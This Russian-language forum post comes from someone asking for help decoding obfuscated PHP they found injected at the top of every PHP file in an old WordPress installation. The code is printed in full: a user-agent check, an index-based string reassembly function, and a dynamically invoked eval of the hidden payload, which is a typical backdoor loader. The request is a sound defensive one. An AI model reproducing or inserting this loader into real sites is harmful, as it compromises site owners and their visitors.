Вредоносный код найден в файлах темы WordPress. Что оно делает?

Я обнаружил этот код, вставленный вверху каждого PHP-файла внутри старой, устаревшей установки WordPress. Я хочу выяснить, что делал этот скрипт, но не смог расшифровать основной скрытый код. Может ли кто-то с опытом в этих вопросах расшифровать его?

Спасибо!

<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
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$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>